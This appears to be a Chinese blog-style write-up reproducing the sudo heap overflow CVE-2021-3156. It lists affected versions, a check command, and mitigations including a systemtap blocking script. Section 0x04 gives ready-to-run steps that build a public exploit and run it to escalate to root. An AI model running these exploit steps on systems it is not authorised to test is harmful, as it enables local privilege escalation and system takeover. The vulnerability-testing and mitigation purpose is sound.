【漏洞复现】sudo 缓冲区/栈溢出漏洞(CVE-2021-3156)
·
0x01 漏洞描述
在sudo解析命令行参数的方式中发现了基于堆的缓冲区溢出。任何本地用户(普通用户和系统用户,sudoer和非sudoers)都可以利用此漏洞,而无需进行身份验证,攻击者不需要知道用户的密码。成功利用此漏洞可以获得root权限。
0x02 影响版本
Sudo 1.8.2 - 1.8.31p2
Sudo 1.9.0 - 1.9.5p1
0x03 环境
阿里云服务器ubuntu18
版本信息:

0x04 POC&EXP
1、自查
以非root用户登录系统,并使用命令sudoedit -s /
- 如果响应一个以sudoedit:开头的报错,那么表明存在漏洞。
- 如果响应一个以usage:开头的报错,那么表明补丁已经生效。

2、EXP–ubuntu
https://github.com/blasty/CVE-2021-3156
cd CVE-2021-3156
make
./sudo-hax-me-a-sandwich root
可从普通用户提权至root

0x05 修复建议
1、官方修补建议:
下载升级sudo软件包,下载链接为:https://www.sudo.ws/dist/
2、临时修补建议:
对于无法立即更新的用户,建议使用systemtap进行以下临时缓解:
1、 安装所需的systemtap软件包和依赖项:
systemtap yum-utils kernel-devel-"$(uname -r)"
对于RHEL 7,使用命令安装 kernel debuginfo:debuginfo-install -y kernel-"$(uname -r)"
对于RHEL 8,使用命令安装 sudo debuginfo:debuginfo-install sudo
2、创建以下systemtap脚本(将文件命名为sudoedit-block.stap):
probe process("/usr/bin/sudo").function("main") {
command = cmdline_args(0,0,"");
if (strpos(command, "edit") >= 0) {
raise(9);
}
}
3、使用以下命令安装脚本:(使用root权限)
nohup stap -g sudoedit-block.stap &
该脚本将使得易受攻击的sudoedit二进制文件停止工作。sudo命令仍将照常工作。上述更改在重启后失效,必须在每次重启后重新应用。
4、一旦安装了补丁程序,就可以通过取消systemtap进程来删除systemtap脚本。例如,通过使用:
kill -s SIGTERM 7590 (其中7590是systemtap进程的PID)
更多推荐
所有评论(0)